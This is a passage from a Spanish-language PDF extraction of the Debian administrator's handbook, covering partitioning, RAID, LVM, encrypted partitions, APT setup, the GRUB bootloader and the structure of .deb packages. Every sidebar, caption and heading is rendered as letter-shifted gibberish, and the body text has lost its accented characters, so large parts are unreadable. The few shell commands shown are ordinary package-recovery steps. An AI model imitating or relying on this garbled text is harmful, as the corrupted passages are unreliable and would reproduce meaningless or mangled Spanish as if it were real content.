usuario (es decir, los datos de usuarios, en archivos y subdirectorios disponibles en /home/).
El ltimo mtodo de particionado, llamado Particiones /home, /usr, /var y /tmp separadas es
apropiada para servidores y sistemas multiusuario. Divide el rbol de archivos en muchas particiones: adems de las particiones para la raz (/) y las cuentas de usuario (/home/), tambin
crear particiones para aplicaciones (/usr/), datos de software de servidor (/var/) y archivos
temporales (/tmp/). Estas divisiones tiene varias ventajas. Un usuario no podr bloquear el
servidor consumiendo todo el espacio disponible en el disco duro (slo pueden llenar /tmp/
y /home/). Los datos de demonios (especialmente registros) tampoco podrn trabar el resto del
sistema.
70-7&3 " -04
$*.*&/504
&MFDDJO EF VO TJTUFNB EF
BSDIJWPT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

6O TJTUFNB EF BSDIJWPT EFGJOF MB GPSNB FO MB RVF TF PSHBOJ[BO MPT EBUPT FO


FM EJTDP EVSP $BEB TJTUFNB EF BSDIJWPT FYJTUFOUF UJFOF TVT NSJUPT Z MJN
JUBDJPOFT "MHVOPT TPO NT SPCVTUPT PUSPT NT FGFDUJWPT TJ DPOPDF CJFO TVT
OFDFTJEBEFT FT QPTJCMF FMFHJS FM TJTUFNB EF BSDIJWPT NT BQSPQJBEP :B TF IBO
SFBMJ[BEP NVDIBT DPNQBSBDJPOFT QBSFDFSB RVF 3FJTFS'4 FT QBSUJDVMBSNFOUF
FGJDJFOUF QBSB MFFS NVDIPT BSDIJWPT QFRVFPT 9'4 FO DBNCJP USBCBKB NT
SQJEP DPO BSDIJWPT HSBOEFT &YU FM TJTUFNB EF BSDIJWPT QSFEFUFSNJOBEP QBSB
%FCJBO FT VO CVFO QVOUP NFEJP CBTBEP FO MBT USFT WFSTJPOFT BOUFSJPSFT EF TJT
UFNBT EF BSDIJWPT VUJMJ[BEPT FO -JOVY IJTUSJDBNFOUF FYU Z FYU Z FYU
 FYU

TVQFSB BMHVOBT MJNJUBDJPOFT EF FYU Z FT QBSUJDVMBSNFOUF BQSPQJBEP QBSB EJT


DPT EVSPT EF HSBO DBQBDJEBE 0USB PQDJO FT FYQFSJNFOUBS DPO FM QSPNFUFEPS
CUSGT RVF JODMVZF NVDIBT GVODJPOBMJEBEFT RVF SFRVFSJSBO BM EB EF IPZ VUJ
MJ[BS -7. ZP 3"*%
6O TJTUFNB EF BSDIJWPT DPO SFHJTUSPT DPNP FYU FYU CUSGT SFJTFSGT P YGT
UPNB
NFEJEBT FTQFDJBMFT RVF QPTJCJMJUBO WPMWFS B VO FTUBEP DPOTJTUFOUF BOUFSJPS
MVFHP EF VOB JOUFSSVQDJO BCSVQUB TJO BOBMJ[BS DPNQMFUBNFOUF FM EJTDP FO
UFSP DPNP FSB FM DBTP DPO FM TJTUFNB FYU
 &TUB GVODJPOBMJEBE TF MMFWB B DBCP
NBOUFOJFOEP VO SFHJTUSP RVF EFTDSJCF MBT PQFSBDJPOFT B SFBMJ[BS BOUFT RVF
TFBO FKFDVUBEBT 4J TF JOUFSSVNQF VOB PQFSBDJO TFS QPTJCMF kSFQSPEVDJSMB{
EFTEF FM SFHJTUSP 1PS FM PUSP MBEP TJ MB JOUFSSVQDJO PDVSSF EVSBOUF VOB BDUV
BMJ[BDJO EFM SFHJTUSP TJNQMFNFOUF TF JHOPSB FM MUJNP DBNCJP TPMJDJUBEP MPT
EBUPT BMNBDFOBEPT QPESBO QFSEFSTF QFSP DPNP MPT EBUPT FO FM EJTDP OP IBO
DBNCJBEP TF NBOUVWJFSPO DPIFSFOUFT &TUP FT OBEB NT Z OBEB NFOPT RVF FM
NFDBOJTNP USBOTBDDJPOBM BQMJDBEP BM TJTUFNB EF BSDIJWPT

Luego de elegir el tipo de la particin, el software calcular una sugerencia y la describir en la


pantalla; el usuario podr modificarla si es necesario. Puede, en particular, elegir otro sistema
de archivos si la opcin estndar (ext4) no es apropiada. En la mayora de los casos, sin embargo,
el particionado propuesto es razonable y se lo puede aceptar seleccionando la opcin Finalizar
particionado y escribir cambios al disco.

'JHVSB 

7BMJEBDJO EFM QBSUJDJPOBEP

$BQUVMP  * OTUBMBDJO



1BSUJDJPOBEP NBOVBM
El particionado manual provee mayor flexibilidad, permitindole al usuario seleccionar el
propsito y tamao de cada particin. Lo que es ms, este modo es inevitable si desea utilizar
RAID por software.
&/ -" 13$5*$"
3FEVDJFOEP VOB QBSUJDJO
8JOEPXT

1BSB JOTUBMBS %FCJBO KVOUP B VO TJTUFNB PQFSBUJWP FYJTUFOUF 8JOEPXT V PUSP



EFCF UFOFS FTQBDJP EJTQPOJCMF FO FM EJTDP EVSP RVF OP TFB VUJMJ[BEP QPS FM PUSP
TJTUFNB QBSB QPEFS DSFBS MBT QBSUJDJPOFT EFEJDBEBT B %FCJBO &O MB NBZPSB EF
MPT DBTPT FTUP TJHOJGJDB SFEVDJS VOB QBSUJDJO 8JOEPXT Z SFVUJMJ[BS FM FTQBDJP
MJCFSBEP
&M JOTUBMBEPS %FCJBO QFSNJUF FTUB PQFSBDJO TJ VUJMJ[B FM NPEP EF QBSUJDJPOB
EP NBOVBM 4MP OFDFTJUBS FMFHJS MB QBSUJDJO 8JOEPXT F JOHSFTBS TV OVFWP
UBNBP FTUP GVODJPOB JHVBM UBOUP FO QBSUJDJPOFT '"5 DPNP /5'4


La primera pantalla mostrar los discos disponibles, sus particiones y cualquier espacio libre
posible que no haya sido particionado an. Puede seleccionar cada elemento mostrado; presionar la tecla Enter mostrar una lista con las acciones posibles.
Puede borrar todas las particiones en un disco al seleccionarlo.
Al seleccionar el espacio libre en un disco puede crear una nueva particin manualmente. Tambin puede hacerlo con el particionado guiado, que es una solucin interesante para un disco
que ya contiene otro sistema operativo pero que podra desear particionar para Linux de forma
estndar. Revisa la seccin anterior para ms detalles sobre el particionado guiado.
70-7&3 " -04
$*.*&/504
1VOUP EF NPOUBKF

&M QVOUP EF NPOUBKF FT FM SCPM EF EJSFDUPSJPT RVF BMCFSHBS FM DPOUFOJEP EFM


TJTUFNB EF BSDIJWPT FO MB QBSUJDJO TFMFDDJPOBEB 1PS MP UBOUP VOB QBSUJDJO
NPOUBEB FO /home/ HFOFSBMNFOUF FTU EFTUJOBEB B DPOUFOFS MB JOGPSNBDJO EF
MPT VTVBSJPT
$VBOEP FM EJSFDUPSJP TF MMBNB k/{ FT MMBNBEB kSB[{ kSPPU{
EFM SCPM EF
BSDIJWPT Z QPS MP UBOUP MB SB[ EF MB QBSUJDJO RVF DPOUFOES FM TJTUFNB %FCJBO
FO T

70-7&3 " -04


$*.*&/504
.FNPSJB WJSUVBM kTXBQ{

-B NFNPSJB WJSUVBM MF QFSNJUF BM ODMFP -JOVY DVBOEP OP UJFOF TVGJDJFOUF


NFNPSJB 3".
MJCFSBS QBSUF EF FMMB BMNBDFOBOEP MBT QBSUFT EF MB 3". RVF
IBO FTUBEP JOBDUJWBT QPS VO UJFNQP FO MB QBSUJDJO TXBQ EFM EJTDP EVSP
1BSB TJNVMBS MB NFNPSJB BEJDJPOBM 8JOEPXT VUJMJ[B VO BSDIJWP TXBQ RVF TF
FODVFOUSB EJSFDUBNFOUF FO FM TJTUFNB EF BSDIJWPT 1PS PUSP MBEP -JOVY VUJMJ[B
VOB QBSUJDJO EFEJDBEB B FTUF QSPQTJUP EF BI FM USNJOP kQBSUJDJO TXBQ{

Al elegir una particin puede elegir la forma en la que la va a utilizar:


darle formato e incluirla en el rbol de archivos eligiendo un punto de montaje;
utilizarla como particin swap;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

convertirla en un volmen fsico para cifrado (para proteger la confidencialidad de los


datos en ciertas particiones, revise abajo);
convertirla en un volmen fsico para LVM (se discute este concepto en detalle ms
adelante en este captulo);
utilizarla como dispositivo RAID (revise ms adelante en este captulo);
o elegir no utilizarla y, por lo tanto, no modificarla.

$POGJHVSBDJO EF EJTQPTJUJWPT NVMUJEJTDP 3"*% QPS TPXBSF

Algunos tipos de RAID permiten duplicar la informacin almacenada en los discos duros para
evitar la prdida de datos en caso de que uno de ellos sufra algn problema de hardware. RAID
nivel 1 mantiene una copia simple e idntica (rplica, mirror) de un disco duro en otro dispositivo mientras que RAID nivel 4 divide datos redundantes en varios discos permitiendo la
reconstruccin completa de un dispositivo que falle.
Slo describiremos RAID nivel 1 que es el ms simple de implementar. El primer paso incluye
crear dos particiones del mismo tamao en dos discos duros distintos y utilizarlas como volmen fsico para RAID.
Luego debe seleccionar Configurar RAID por software en la herramienta de particionado para
combinar estas dos particiones en un nuevo disco virtual y seleccionar Crear dispositivo MD
en la pantalla de configuracin. Luego necesita responder una serie de preguntas sobre este
nuevo dispositivo. La primera pregunta sobre el nivel de RAID a utilizar, que en nuestro caso
ser RAID1. La segunda pregunta es sobre la cantidad de dispositivos activos dos en nuestro caso, que es la cantidad de particiones que tienen que incluirse en este dispositivo MD. La
tercera pregunta sobre la cantidad de dispositivos libres 0; no tenemos planeado agregar discos adicionales de repuesto en caso que uno de los discos falle. La ltima pregunta requiere que
seleccione las particiones para el dispositivo RAID stas seran las dos que separ para este
propsito (asegrese de seleccionar slamente las particiones que mencionen raid especficamente).
Nuevamente en el men principal, aparecer un nuevo disco RAID. Este disco se presenta con
slo una particin que no puede ser eliminada pero a la que podemos especificar el uso que le
daremos (como con cualquier otra particin).
Para ms detalles sobre funciones RAID, revise la Seccin 12.1.1, RAID por software pgina
308.

$POGJHVSBDJO EFM HFTUPS EF WPMNFOFT MHJDPT -7.

LVM le permite crear particiones virtuales a travs de varios discos. Los beneficios son dobles:
el tamao de las particiones no estar limitado por el tamao de los discos individuales sino por
el del conjunto completo y podr modificar el tamao de las particiones existentes en cualquier
momento, posiblemente agregando un disco adicional cuando lo necesite.

$BQUVMP  * OTUBMBDJO



LVM utiliza una terminologa particular: una particin virtual es un volmen lgico, que es
parte de un grupo de volmenes o la asociacin de varios volmenes fsicos. De hecho,
cada uno de esos trminos se corresponde con una particin real (o dispositivo de RAID por
software).
Esta tcnica funciona de una forma muy simple: se divide cada volmen, sea lgico o fsico, en
bloques del mismo tamao que LVM hace que coincidan. Agregar un nuevo disco causar la
creacin de un nuevo volmen fsico y sus nuevos bloques pueden ser asociados a cualquier
grupo de volmenes. Todas las particiones del grupo de volmenes expandido tendrn espacio
adicional sobre el que extenderse.
La herramienta de particionado configura LVM en varios pasos. Primero debe crear las particiones en los discos existentes que sern volmenes fsicos para LVM. Para activar LVM debe
seleccionar Configurar el gestor de volmenes lgicos (LVM) y luego, en la misma pantalla de
configuracin, Crear grupo de volmenes al que le asociar los volmenes fsicos existentes.
Finalmente podr crear volmenes lgicos dentro de este grupo de volmenes. La herramienta
de particionado automtico puede realizar todos estos pasos automticamente.
Cada volmen fsico aparecer en el men de particionado como un disco con slo una particin
que no puede ser eliminada pero que puede utilizar como desee.
Se describe el uso de LVM con ms detalles en la Seccin 12.1.2, LVM pgina 319.

$POGJHVSBDJO EF QBSUJDJPOFT DJGSBEBT


Para garantizar la confidencialidad de sus datos, por ejemplo en el caso de prdida o robo de
su equipo o un disco duro, es posible cifrar los datos en algunas particiones. Se puede agregar
esta funcionalidad bajo cualquier sistema de archivos ya que, como con LVM; Linux (en particular el controlador dm-crypt) utiliza el mapeador de dispositivos (Device Mapper) para crear
una particin virtual (cuyo contenido es protegido) basndose en una particin subyacente que
almacenar los datos en forma cifrada (gracias a LUKS, configuracin unificada de claves en
Linux por sus siglas en ingls, un formato estndar que permite almacenar tanto datos encriptados como tambin metainformacin que indica los algoritmos de cifrado utilizados).
4&(63*%"%
1BSUJDJO TXBQ DJGSBEB

$VBOEP TF VUJMJ[B VOB QBSUJDJO DJGSBEB TF BMNBDFOB MB DMBWF EF DJGSBEP FO


NFNPSJB 3".
 0CUFOFS FTUB DMBWF QFSNJUF EFTDGJSBS MPT EBUPT QPS MP RVF
FT EF NBZPS JNQPSUBODJB FWJUBS EFKBS VOB DPQJB EF FTUB DMBWF RVF QVFEB TFS
BDDFEJEB QPS FM QPUFODJBM MBESO EFM FRVJQP P EJTDP EVSP P B VO UDOJDP EF
NBOUFOJNJFOUP &TUP QVFEF PDVSSJS GDJMNFOUF FO VO FRVJQP QPSUUJM ZB RVF
BM IJCFSOBS TF BMNBDFOBO MPT DPOUFOJEPT EF MB 3". FO MB QBSUJDJO 48"1 4J
FTUB QBSUJDJO OP TF FODVFOUSB DJGSBEB FM MBESO QPES BDDFEFS B MB DMBWF Z
VUJMJ[BSMB QBSB EFTDJGSBS MPT EBUPT EF MBT QBSUJDJPOFT DJGSBEBT 1PS FTUB SB[O
DVBOEP VUJMJDF QBSUJDJPOFT DJGSBEBT aFT JNQFSBUJWP UBNCJO DJGSBS MB QBSUJDJO
TXBQ
&M JOTUBMBEPS EF %FCJBO BEWFSUJS BM VTVBSJP TJ JOUFOUB DSFBS VOB QBSUJDJO DJGSB
EB DVBOEP MB QBSUJDJO TXBQ OP TFB DJGSBEB UBNCJO



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Para crear una particin cifrada primero debe asignar una particin disponible para este
propsito. Lo lograr seleccionando una particin e indicando que sea utilizada como volmen fsico para cifrado. Luego de particionar el disco que contenga el volmen fsico, seleccione Configurar volmenes cifrados. El software le propondr inicializar el volmen fsico
con datos aleatorios (dificultando an ms la localizacin de los datos reales) y le pedir que
ingrese una frase de cifrado que tendr que ingresar cada vez que arranque el equipo para
poder acceder al contenido de la particin cifrada. Una vez que complete este paso y haya vuelto al men de la herramienta de particionado, tendr disponible una nueva particin en un
volmen cifrado que puede configurar como cualquier otra particin. En la mayora de los
casos, utilizar esta particin como un volmen fsico de LVM para proteger varias particiones
(volmenes lgicos LVM) con la misma clave de cifrado, incluyendo la particin swap (revise el
recuadro).

 *OTUBMBDJO EFM TJTUFNB CBTF


Este paso, que no necesita interaccin con el usuario, instala los paquetes del sistema base
Debian. Esto incluye las herramientas dpkg y apt que administran los paquetes Debian, as como
tambin los programas necesarios para iniciar el sistema y comenzar a utlizarlo.

'JHVSB 

*OTUBMBDJO EFM TJTUFNB CBTF

 $POGJHVSBDJO EFM HFTUPS EF QBRVFUFT apt

Para poder instalar software adicional, necesita configurar APT para indicarle dnde encontrar
paquetes Debian. Este paso es tan automtico como es posible. Comienza preguntando si debe
utilizar una fuente de paquetes en la red o si slo debe buscar paquetes en el CD-ROM.

$BQUVMP  * OTUBMBDJO



/05"
$%30. EF %FCJBO FO FM
EJTQPTJUJWP

4J FM JOTUBMBEPS EFUFDUB VO EJTDP EF JOTUBMBDJO EF %FCJBO FO FM MFDUPS EF $%%


7% OP FT OFDFTBSJP DPOGJHVSBS "15 QBSB RVF CVTRVF QBRVFUFT FO MB SFE "15 FT
DPOGJHVSBEP BVUPNUJDBNFOUF QBSB MFFS QBRVFUFT EF VO EJTQPTJUJWP SFNPWJCMF
4J FM EJTDP FT QBSUF EF VO DPOKVOUP FM TPXBSF PGSFDFS MB PQDJO EF kFYQMPSBS{
PUSPT EJTDPT QBSB UFOFS SFGFSFODJBT B UPEPT MPT QBRVFUFT FO FMMPT

Si se desea obtener paquetes de la red, las siguientes dos preguntas le permitirn elegir un
servidor del que descargar los paquetes seleccionando primero un pas y depus una rplica
disponible en dicho pas (una rplica es un servidor pblico que alberga copias de todos los
archivos del archivo principal de Debian).

'JHVSB 

4FMFDDJO EF VOB SQMJDB EF %FCJBO

Finalmente, el programa propone utilizar un proxy HTTP. Si no configura un proxy, acceder a


internet directamente. Si ingresa IQQSPYZGBMDPUDPN, APT utilizar el proxy/cach de
Falco, un programa Squid. Puede encontrar estas configuraciones revisando la configuracin
de un navegador web en otro equipo conectado a la misma red.
Los archivos Packages.gz y Sources.gz son descargados automticamente para actualizar la
lista de paquetes reconocidos por APT.
70-7&3 " -04
$*.*&/504
1SPYZ )551



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

6O QSPYZ )551 FT VO TFSWJEPS RVF SFEJSJHF VO QFEJEP )551 QBSB VTVBSJPT


EF SFE " WFDFT BZVEB B BDFMFSBS MBT EFTDBSHBT NBOUFOJFOEP VOB DPQJB EF MPT
BSDIJWPT USBOTGFSJEPT B USBWT EF M IBCMBNPT FOUPODFT EF VO kQSPYZDBDI{

&O BMHVOPT DBTPT FT FM OJDP NPEP EF BDDFEFS VO TFSWJDJP XFC FYUFSOP FO EJ
DIPT DBTPT FT FTFODJBM SFTQPOEFS MB QSFHVOUB DPSSFTQPOEJFOUF EVSBOUF MB JO
TUBMBDJO QBSB RVF FM QSPHSBNB QVFEB EFTDBSHBS MPT QBRVFUFT %FCJBO B USBWT
EF M

4RVJE FT FM OPNCSF EFM TPXBSF EF TFSWJEPS VUJMJ[BEP QPS 'BMDPU $PSQ RVF
PGSFDF FTUF TFSWJDJP

 $PODVSTP EF QPQVMBSJEBE EF QBRVFUFT %FCJBO


El sistema Debian contiene un paquete llamado popularity-contest cuyo propsito es compilar estadsticas del uso de paquetes. Cada semana, este paquete recopila informacin de los paquetes
instalados y aquellos utilizados recientemente y enva esta informacin de forma annima a los
servidores del proyecto Debian. El proyecto luego puede utilizar esta informacin para determinar la importancia relativa de cada paquete, lo que influencia la prioridad que se le dar a cada
uno. En particular, los paquetes ms populares sern incluidos en el CD-ROM de instalacin
facilitando el acceso a los mismos a aquellos usuarios que no deseen descargarlos o adquirir un
conjunto completo.
Este paquete slo se activa a pedido por respeto a la confidencialidad de los datos de uso de los
usuarios.

 4FMFDDJO EF QBRVFUFT QBSB JOTUBMBDJO


El prximo paso le permite elegir el propsito del equipo en trminos muy generales; las diez
tareas sugeridas corresponden a listas de paquetes a instalar. La lista de paquetes que ser instalada realmente ser adaptada y completada ms adelante, pero provee un buen punto de partida
de forma simple.
Algunos paquetes tambin son instalados automticamente segn el hardware detectado (gracias al programa discover-pkginstall del paquete discover). Por ejemplo, si se detecta una
mquina virtual VirtualBox el programa instalar el paquete virtualbox-ose-guest-dkms que permite una mejor integracin de la mquina virtual con el sistema anfitrin.

$BQUVMP  * OTUBMBDJO



'JHVSB 

&MFDDJO EF UBSFBT

 *OTUBMBDJO EFM HFTUPS EF BSSBORVF (36#


El gestor de arranque es el primer progama iniciado por el BIOS. Este programa carga el ncleo
Linux a la memoria y luego lo ejecuta. Generalmente ofrece un men que le permite al usuario
seleccionar el ncleo y/o sistema operativo a iniciar.
$6*%"%0
&M HFTUPS EF BSSBORVF F JOJDJP
EVBM

&TUB GBTF FO FM QSPDFTP EF JOTUBMBDJO EF %FCJBO EFUFDUB MPT TJTUFNBT PQFS


BUJWPT RVF ZB TF FODVFOUSBO JOTUBMBEPT FO FM FRVJQP Z BHSFHB MPT FMFNFOUPT
DPSSFTQPOEJFOUFT BM NFO EF BSSBORVF QFSP OP UPEPT MPT QSPHSBNBT EF JOTUB
MBDJO MP IBDFO
&O QBSUJDVMBS TJ MVFHP JOTUBMB P SFJOTUBMB
8JOEPXT CPSSBS FM HFTUPS EF BS
SBORVF %FCJBO TFHVJS FO FM EJTDP EVSP QFSP OP QPES BDDFEFSMP EFTEF FM NFO
EF BSSBORVF /FDFTJUBS JOJDBS FM TJTUFNB EF JOTUBMBDJO EF %FCJBO FO NPEP
kSFTDBUF{ rescue
QBSB DPOGJHVSBS VO HFTUPS EF BSSBORVF NFOPT FYDMVTJWP &M
NBOVBM EF JOTUBMBDJO EFTDSJCF FO EFUBMMF FTUB PQFSBDJO
http://www.debian.org/releases/stable/amd64/ch08s07.html

De forma predeterminada, el men propuesto por GRUB contiene todos los ncleos Linux instalados as como tambin todos los dems sistema operativos detectados. Es por esta razn
que debera aceptar la oferta de instalarlo en el registro de arranque maestro (Master Boot
Record). Generalmente tiene sentido mantener algunas versiones anteriores del ncleo ya que
hacerlo mantiene su capacidad de iniciar el mismo sistema cuando el ltimo ncleo instalado es
defectuoso o no se adapta correctamente al hardware.
GRUB es el gestor de arranque instalado por Debian de forma predeterminada gracias a su superioridad tcnica: funciona con la mayora de los sistemas de archivo y no necesita actualizarlo



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

luego de cada instalacin de un nuevo ncleo ya que lee su configuracin durante el inicio y
encuentra la posicin exacta del nuevo ncleo. La versin 1 de GRUB (ahora conocida como
Grub Legacy) no era compatible con todas las combinaciones de LVM y RAID por software; la
versin 2, instalada de forma predeterminada, es ms completa. An pueden existir situaciones
donde es ms recomendable instalar LILO (otro gestor de arranque); el instalador lo sugerir
automticamente.
Para ms informacin sobre la configuracin de GRUB, revise la Seccin 8.8.3, Configuracin
de GRUB 2 pgina 173.
$6*%"%0
(FTUPSFT EF BSSBORVF Z
BSRVJUFDUVSBT

-*-0 Z (36# NFODJPOBEPT FO FTUF DBQUVMP TPO MPT HFTUPSFT EF BSSBORVF


QBSB MBT BSRVJUFDUVSBT J Z BNE 4J JOTUBMB %FCJBO FO PUSB BSRVJUFDUVSB
OFDFTJUBS VUJMJ[BS PUSP HFTUPS EF BSSBORVF &OUSF FMMPT QPEFNPT DJUBS yaboot P
quik QBSB QPXFSQD silo QBSB TQBSD elilo QBSB JB aboot QBSB BMQIB arcboot
QBSB NJQT atari-bootstrap P vme-lilo QBSB NL

 'JOBMJ[BDJO EF MB JOTUBMBDJO Z SFJOJDJBEP


La instalacin ahora est completa, el programa le invita a quitar el CD-ROM y reiniciar el equipo.

 -VFHP EFM QSJNFS BSSBORVF


Si activ la tarea Entorno grfico de escritorio, el equipo mostrar el gestor de inicio de sesin
gdm3.

'JHVSB 

1SJNFS BSSBORVF

$BQUVMP  * OTUBMBDJO



El usuario que fue creado puede iniciar sesin y comenzar a trabajar inmediatamente.

 *OTUBMBDJO EF TPXBSF BEJDJPOBM


Los paquetes instalados corresponden a los perfiles seleccionados durante la instalacin pero
no necesariamente para el uso que se le dar realmente al equipo. Por lo tanto, podra desear
utilizar una herramienta de gestin de paquetes para refinar la seleccin de paquetes instalados. Las dos herramientas utilizadas ms frecuentemente (que son instaladas si se eligi el perfil
Entorno grfico de escritorio) son apt (disponible desde la lnea de rdenes) y synaptic (Administrador de paquetes Synaptic en el men).
Para facilitar la instalacin de grupos de programas coherentes, Debian crea tareas dedicadas a usos especficos (servidor de correo, servidor de archivos, etc.). Tuvo oportunidad de
seleccionarlos durante la instalacin y puede accederlos nuevamente gracias a herramientas
de gestin de paquetes como aptitude (las tareas se encuentran en una seccin particular) y
synaptic (a travs del men Editar Marcar paquetes por tarea...).
Aptitude es una interfaz para APT de pantalla completa en modo texto. Permite al usuario navegar la lista de paquetes disponibles segn varias categoras (paquetes instalados o no instalados,
por tarea, por seccin, etc.) y revisar toda la informacin disponible para cada uno de ellos (dependencias, conflictos, descripcin, etc.). Cada paquete puede ser marcado install (para instalar, la tecla +) o remove (para eliminar, la tecla -), Se realizarn todas estas operaciones
simultneamente una vez que las confirme presionando la tecla g (por go!, adelante!). Si
se olvid algunos programas no se preocupe; podr ejecutar aptitude nuevamente una vez que
se complet la instalacin inicial.
46(&3&/$*"
%FCJBO QJFOTB FO RVJFOFT OP
IBCMBO JOHMT

.VDIBT UBSFBT FTUO EFEJDBEBT B MB MPDBMJ[BDJO EFM TJTUFNB B PUSPT JEJPNBT


BEFNT EFM JOHMT *ODMVZFO EPDVNFOUBDJO USBEVDJEB EJDDJPOBSJPT Z WBSJPT
PUSPT QBRVFUFT UJMFT B RVJFOFT IBCMFO EJTUJOUPT JEJPNBT 4F TFMFDDJPOB MB UBSFB
BQSPQJBEB BVUPNUJDBNFOUF TJ TFMFDDJPO VO JEJPNB EJTUJOUP BM JOHMT EVSBOUF
MB JOTUBMBDJO

$6-563"
dselect MB BOUJHVB JOUFSGB[
QBSB JOTUBMBS QBRVFUFT

"OUFT EF aptitude FM QSPHSBNB FTUOEBS QBSB TFMFDDJPOBS QBRVFUFT B JOTUBMBS


FSB dselect MB BOUJHVB JOUFSGB[ HSGJDB BTPDJBEB DPO dpkg &T VO QSPHSBNB
EJGDJM EF VUJMJ[BS QBSB QSJODJQJBOUFT OP FT SFDPNFOEBEP

Por supuesto, se puede no seleccionar tarea alguna para instalar. En este caso, puede instalar
manualmente el software deseado con apt-get o aptitude (ambos disponibles en la lnea de
rdenes).
70$"#6-"3*0
%FQFOEFODJBT EF VO
QBRVFUF DPOGMJDUPT

&O MB KFSHB EF FNQBRVFUBEP EF %FCJBO VOB kEFQFOEFODJB{ FT PUSP QBRVFUF


OFDFTBSJP QBSB RVF FM QBRVFUF FO DVFTUJO GVODJPOF DPSSFDUBNFOUF " MB JOWFS
TB VO kDPOGMJDUP{ FT VO QBRVFUF RVF OP QVFEF TFS JOTUBMBEP KVOUP DPO PUSP
4F EJTDVUFO FTUPT DPODFQUPT DPO NT EFUBMMFT FO FM $BQUVMP  k4JTUFNB EF
QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT{ QHJOB 



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 "DUVBMJ[BDJO EFM TJTUFNB


Al principio, generalmente se necesitaba aptitude safe-upgrade (una orden utilizada para
actualizar automticamente los programas instalados), especialmente debido a posibles actualizaciones de seguridad publicadas desde la entrega de la ltima versin estable de Debian. Estas actualizaciones podran requerir preguntas adicionales a travs de debconf, la herramienta
estndar para configuracin en Debian. Para ms informacin sobre estas actualizaciones realizadas por aptitude revise la Seccin 6.2.3, Actualizacin del sistema pgina 114.

$BQUVMP  * OTUBMBDJO



1BMBCSBT DMBWF
1BRVFUF CJOBSJP
1BRVFUF GVFOUF
EQLH
EFQFOEFODJBT
DPOGMJDUP

$BQUVMP

4JTUFNB EF QBRVFUFT
IFSSBNJFOUBT Z
QSJODJQJPT
GVOEBNFOUBMFT

$POUFOJEPT
&TUSVDUVSB EF VO QBRVFUF CJOBSJP 
&TUSVDUVSB EF VO QBRVFUF GVFOUF 

.FUBJOGPSNBDJO EF VO QBRVFUF 
.BOJQVMBDJO EF QBRVFUFT DPO dpkg 

$PFYJTUFODJB DPO PUSPT TJTUFNBT QBRVFUFT 

Como un administrador de un sistema Debian generalmente manejar paquetes .deb


ya que contienen unidades funcionales consistentes (aplicaciones, documentacin,
etc.) facilitando su instalacin y mantenimiento. Por lo tanto, es buena idea saber
qu son y cmo utilizarlos.

Este captulo describe la estructura y los contenidos de paquetes binarios y fuente. Los
primeros son archivos .deb para utilizar directamente con dpkg mientras que los ltimos contienen el cdigo fuente as como las instrucciones para crear los paquetes binarios.

 &TUSVDUVSB EF VO QBRVFUF CJOBSJP


El formato del paquete Debian fue diseado para que su contenido pueda ser extrado en
cualquier sistema Unix que tenga los programas clsicos ar, tar y gzip (a veces xz o bzip2).
Esta propiedad aparentemente trivial es importante para portabilidad y recuperacin en caso
de desastres.
Imagine por ejemplo que elimin por error el programa dpkg y que, por lo tanto, ya no puede
instalar paquetes Debian. Siendo dpkg un paquete en s mismo pareciera como que su sistema
estuviese condenado... afortunadamente conoce el formato de un paquete y puede descargar el
archivo .deb para el paquete dpkg e instalarlo manualmente (revise el recuadro HERRAMIENTAS). Si por cualquier motivo o problema uno o ms de los programas ar, tar o gzip/xz/bzip2
desaparecieron slo necesitar copiar el programa faltante de otro sistema (ya que cada uno de
ellos funciona de forma completamente autnoma una simple copia bastar).
)&33".*&/5"4
dpkg APT Z ar

FT FM QSPHSBNB RVF NBOFKB MPT BSDIJWPT


BOBMJ[B Z EFTDPNQSJNF
dpkg

.deb

FO QBSUJDVMBS MPT FYUSBF

FT VO HSVQP EF QSPHSBNBT RVF QFSNJUF MB FKFDVDJO EF NPEJGJDBDJPOFT


EF NT BMUP OJWFM BM TJTUFNB JOTUBMBS P FMJNJOBS VO QBRVFUF NJFOUSBT
NBOUJFOF EFQFOEFODJBT TBUJTGFDIBT
BDUVBMJ[BS FM TJTUFNB MJTUBS MPT QBRVFUFT
EJTQPOJCMFT FUD
APT

&O DVBOUP BM QSPHSBNB ar QFSNJUF NBOFKBS MPT BSDIJWPT EFM NJTNP OPNCSF
ar t compendio NVFTUSB MB MJTUB EF BSDIJWPT DPOUFOJEPT FO FM DPNQFOEJP ar x
compendio FYUSBF EJDIPT BSDIJWPT BM EJSFDUPSJP BDUVBM ar d compendio archivo
FMJNJOB VO BSDIJWP EFM DPNQFOEJP FUD 4V QHJOB EF NBOVBM ar(1)
EPDV
NFOUB UPEBT TVT GVODJPOBMJEBEFT ar FT VOB IFSSBNJFOUB NVZ SVEJNFOUBSJB
RVF VO BENJOJTUSBEPS 6OJY TMP VUJMJ[BSB FO SBSBT PDBTJPOFT QFSP VUJMJ[BSBO
SVUJOBSJBNFOUF tar VO QSPHSBNB EF NBOFKP EF BSDIJWPT Z DPNQFOEJPT NT
FWPMVDJPOBEP &T QPS FTP RVF FT TFODJMMP SFTUBVSBS dpkg FO FM DBTP EF RVF TFB
FMJNJOBEP QPS FSSPS 4MP OFDFTJUB EFTDBSHBS FM QBRVFUF %FCJBO Z FYUSBFS FM
DPOUFOJEP EFM BSDIJWP data.tar.gz FO MB SB[ EFM TJTUFNB /

# ar x dpkg_1.16.10_amd64.deb
# tar -C / -p -xzf data.tar.gz

70-7&3 " -04


$*.*&/504
/PUBDJO EF QHJOBT EF
NBOVBM



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

-PT QSJODJQJBOUFT QVFEFO FODPOUSBS DPOGVTBT MBT SFGFSFODJBT DPNP kar(1){ FO


MB MJUFSBUVSB (FOFSBMNFOUF FTUB FT VOB GPSNB DPOWFOJFOUF EF SFGFSJSTF B MB
QHJOB EF NBOVBM UJUVMBEB ar FO MB TFDDJO 
"MHVOBT WFDFT TF VUJMJ[B FTUB OPUBDJO QBSB FMJNJOBS BNCJHFEBEFT QPS FKFN
QMP QBSB EJTUJOHVJS FOUSF FM QSPHSBNB printf RVF UBNCJO QVFEF JOEJDBSTF
DPNP printf(1) Z MB GVODJO printf EFM MFOHVBKF EF QSPHSBNBDJO $ RVF
